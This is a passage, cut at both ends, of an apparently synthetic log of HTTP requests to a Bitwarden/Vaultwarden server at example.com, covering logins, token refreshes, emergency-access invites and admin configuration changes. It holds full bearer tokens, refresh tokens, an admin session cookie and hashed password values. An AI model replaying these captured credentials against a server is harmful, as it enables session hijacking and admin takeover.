\"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 707", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "grant_type=refresh_token&client_id=web&refresh_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5Njg3NDkzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6InBhc3N3b3JkIiwiZGV2aWNlX3Rva2VuIjoiNVJHOENYTllpemlyVzFHRGVTeHduV19VRXJlV0xkeDRySWRlN2FQNTBfSUw3b19ONXd6QTdKdFh6dVJ3T2lPVU1aTFNfRUI2T29JRGhzNkJsZThSMXc9PSIsInRva2VuIjpudWxsfQ.Srb4A9_Ulqy8z6hFlLpX7oZLlOHow9P_b2jLOS6WD40TaAg72K5Lzoki34V1ptorkk3K3rn1x3v3EMixywZ9PJcf6J_mDqUiV7UKgqAJAzIQV77XuxNYJUSqiPi4RSLEuTjZ7fEfIlOyhbLYGNSWiKfDaJoMDUk4rQeS4wluKAzO4L9ctcjjIpiGK7r8zAcFBF6LMDNOyQ6UhWjDF-zTtAop6PiX5vrhB0Z1oc1uBGLuu-3TQfmX95bg0LB0beG6-Ac6_t06OAC23Z9aEXtyCbtMD9vaD4liSeINBEovZsmcjs99R2PwszzvhPaOSdSBHnJrroCIEXdW3-7MQH42lw"}
{"method": "GET", "target": "/api/emergency-access/granted", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI5MzgsImV4cCI6MTc5NDI5MDEzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6ImNjYzZlMGU2LTMwMjAtNGRkOS1iZDhhLTQ1OGVlYzZkYWRiMyIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.HUyjs3AVPBjoPhBwZPK-T5KnyQres_1b9fLNV0mds1P_VEvvQu3WMQh80Hy1VYA8K2Q6cYSimmFhX-1cTFPDXdOawR_3YeG1kRiTomyOsn2gTgBkojpMeORFWf-jZTbspsgGSLZL7q0oAdnlzh5tiYnGjuxpnGzhZdYrTEeA6CvNk2bGp0ns3t2d95i6CgYh8H_u5wcsNjoNfCZ-42oz5I4Zr6f5vtHC35g80D4_AUrMgKMtyviywyKJsmTceT-jNdKfMAkWsRO-l94tdtw-xBUThQaPhvTKHmKHnvs-QSVCWv-m8s-HgvWNoGyRhZHyuXcVHNlgPJA2yPIigP2lbg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/api/accounts/password-hint", "headers": ["Host: example.com", "Content-Length: 35", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: cbab8704-bbce-46dd-ae1c-46db82853311", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3.dev@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=85c47933-cd4b-495d-bcc9-922b445f0fda&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/emergency-access/invite", "headers": ["Host: example.com", "Content-Length: 57", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json; charset=utf-8", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"python3@example.com\",\"type\":0,\"waitTimeDays\":7}"}
{"method": "GET", "target": "/api/hibp/breach?username=powershell%40example.com", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwMTQsImV4cCI6MTc5NDI5MDIxNCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwic3N0YW1wIjoiMDdhYjJiYzktYjIxNi00YzIzLWIwOTEtMWU3Yjg4YmI0MzJhIiwiZGV2aWNlIjoiODVjNDc5MzMtY2Q0Yi00OTVkLWJjYzktOTIyYjQ0NWYwZmRhIiwiZGV2aWNldHlwZSI6IlVua25vd24gQnJvd3NlciIsImNsaWVudF9pZCI6IndlYiIsInNjb3BlIjpbImFwaSIsIm9mZmxpbmVfYWNjZXNzIl0sImFtciI6WyJBcHBsaWNhdGlvbiJdfQ.gcnqtqJADxbKQzl2WymYH5S9a6qBvY-2y8l031emAJtXmUdj2j_MqNZ6hVg1157Cpk1mZe_lPaePGY2p4dTofrNUVJ4N5bxna5VwXEuo_ZYnsfgh-F2_xSs_eNv5mbgrqaHEJVhMbwHWBqxl2EDo2_o6lI2CpV9ERz3zmqMFFyJYxhofXiRGm6YW6Qu6PhfW5qebW84ZFXmEBk_KU5mnIkhZSDjV_XowMwJw6SuEMSRSwm2ZFytXW05WicDrdQkeV_19dHSp0fmL-JLLzZGS-CKAJuKQ5UtBjLZKVgKI29FntgYAdUAsnQmBIZEs0mzC1ra-PRycG5fJ_ncj6HCYjQ", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/vw_static/hibp.png", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2572", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":null,\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 38", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwNTksImV4cCI6MTc5NDI4NDI1OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.GLGh7VC7iFIv0RcEf6Q7B7IzFiFwFtj6_GulgOGV2AFVGNxtCZbHv4ZroUq9L6FecbS_qqo_baLjHIq5S1IP8TiRFqUg6-61ROw7xkmnBVyp2kfbYcIseE79HiHTUoTbhROU3VJus7hk0M-7Rfat7nNDoItMNY4k5qZitSSpaN0Z6-KfHWsOPxZxICJ7Ya5YreWra0nUZizH53qCfs_iIJlCIdmrtVTlPZEo0cTTJOUtuDR_RFdA8u5MTTi4HABO9NNOVV5mLiJ9_YbOSFt2JSG_FRRsp7MjyKHlZJJx5NHHyqlj7CIGcuc1LVIU6XlhnQU8oY2s91RhCN1Wjqgfeg", "Priority: u=1, i"], "body": "{\"email\":\"powershell.ops@example.com\"}"}
{"method": "POST", "target": "/admin/config", "headers": ["Host: example.com", "Content-Length: 2586", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"sends_allowed\":true,\"disable_icon_download\":false,\"signups_allowed\":true,\"signups_verify\":false,\"invitations_allowed\":true,\"emergency_access_allowed\":true,\"email_change_allowed\":true,\"password_hints_allowed\":true,\"show_password_hint\":false,\"http_request_block_non_global_ips\":true,\"disable_2fa_remember\":false,\"authenticator_disable_time_drift\":false,\"require_device_email\":false,\"reload_templates\":false,\"increase_note_size_limit\":false,\"dns_prefer_ipv6\":false,\"sso_enabled\":false,\"sso_only\":false,\"sso_signups_allowed\":true,\"sso_signups_match_email\":true,\"sso_allow_unknown_email_verification\":false,\"sso_pkce\":true,\"sso_auth_only_not_session\":false,\"sso_debug_tokens\":false,\"_enable_yubico\":true,\"_enable_duo\":true,\"_enable_smtp\":true,\"use_sendmail\":false,\"smtp_embed_images\":true,\"smtp_accept_invalid_certs\":false,\"smtp_accept_invalid_hostnames\":false,\"_enable_email_2fa\":false,\"email_2fa_enforce_on_verified_invite\":false,\"email_2fa_auto_fallback\":false,\"user_attachment_limit\":1048576,\"org_attachment_limit\":null,\"user_send_limit\":null,\"trash_auto_delete_days\":null,\"incomplete_2fa_time_limit\":3,\"signups_verify_resend_time\":3600,\"signups_verify_resend_limit\":6,\"password_iterations\":600000,\"icon_redirect_code\":302,\"icon_cache_ttl\":2592000,\"icon_cache_negttl\":259200,\"icon_download_timeout\":10,\"two_factor_remember_days\":30,\"admin_session_lifetime\":20,\"sso_client_cache_expiration\":0,\"smtp_port\":587,\"smtp_timeout\":15,\"email_token_size\":6,\"email_expiration_time\":600,\"email_attempts_limit\":3,\"domain\":\"https://example.com\",\"fill_assist_rules_url\":\"https://fillassist.bitwarden.com\",\"hibp_api_key\":null,\"signups_domains_whitelist\":\"example.com,example.org\",\"org_creation_users\":null,\"admin_token\":\"example-admin-token\",\"invitation_org_name\":\"powershell vault\",\"ip_header\":\"X-Real-IP\",\"ip_header_trusted_proxies\":\"local\",\"http_request_block_regex\":null,\"log_timestamp_format\":\"%Y-%m-%d %H:%M:%S.%3f\",\"allowed_iframe_ancestors\":null,\"allowed_connect_src\":null,\"sso_client_id\":null,\"sso_client_secret\":null,\"sso_authority\":null,\"sso_scopes\":\"email profile\",\"sso_authorize_extra_params\":null,\"sso_audience_trusted\":null,\"sso_callback_path\":\"https://example.com/identity/connect/oidc-signin\",\"sso_master_password_policy\":null,\"yubico_client_id\":null,\"yubico_secret_key\":null,\"yubico_server\":null,\"duo_ikey\":null,\"duo_skey\":null,\"duo_host\":null,\"smtp_host\":\"smtp.example.com\",\"smtp_security\":\"starttls\",\"smtp_from\":\"python3@example.com\",\"smtp_from_name\":\"ls -la and .htaccess vault\",\"smtp_username\":null,\"smtp_password\":null,\"smtp_auth_mechanism\":null,\"helo_name\":\"vault.example.com\"}"}
{"method": "POST", "target": "/admin/invite", "headers": ["Host: example.com", "Content-Length: 35", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMwODEsImV4cCI6MTc5NDI4NDI4MSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.QYGIDiydJkn1f2wGNmVNeE5H8BuAJGv6pvsjym-9F8nNs4r7fUts9i8QlWQCCdj8bSPHh-oQfTg0XALCLll8Z13w-WPZn8WNAplLw2z8y0zcH_L2RwmSKqX8-wufLZMyiRSe272j41niBlzWTybXMjyRO1XDbu7c2JN_nTXemK3LV0h7mz2zPIY6TftwEFYEXGMQIMa70AqVdplcWTJw9idn88K5LjP-mTcTbNMRI6ybWrodZAQuC0UwNx3Wphcf3yhiL5h_KX4ruPy5I9E4MaQUWQlbFBKIfqbbx9t2x7URL2Co8Aw8oDc66A2am8One4k542PLcKA2HjbvcLjR8g", "Priority: u=1, i"], "body": "{\"email\":\"python3.ops@example.com\"}"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=20c6a127-e84f-4010-8416-c5bcef15d0bd&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "PUT", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Content-Length: 85", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODMxODksImV4cCI6MTc5NDI5MDM4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiIuaHRhY2Nlc3MgcG93ZXJzaGVsbCIsImVtYWlsIjoiYWxpY2VAZXhhbXBsZS5jb20iLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInNzdGFtcCI6IjA3YWIyYmM5LWIyMTYtNGMyMy1iMDkxLTFlN2I4OGJiNDMyYSIsImRldmljZSI6IjIwYzZhMTI3LWU4NGYtNDAxMC04NDE2LWM1YmNlZjE1ZDBiZCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.BdjhBukR0uiqdlUr2oilQ5QvOa1flSWIO5htzH1FpGLeqprj-zyM_OR8szEtaHXl_i7IsCxgDhI36R8d9r4KJd74nmD7H0fzqLi1D3lGkccW8OjCX5YjU81XvARUXMp1C-7g-mkhPaojcvgwuQN2pWXWjZIy1JHhP-rSZX-0HXiECXCQdGiv-UCrNO6N7QOApS6OvNK6sgQQTZ1J08VjSYdWI6E-zwZh6U2_Ox3XT6XTB8VzSAjqynJErLlEinr4ejWYkUaCT56PsEj-vBgIKtuIACI6gy60Z5A0SbWuIbJtzwbecvjhcKhS_5AF48NUEUfKxdzRdsE0MwvIBYAXFg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like 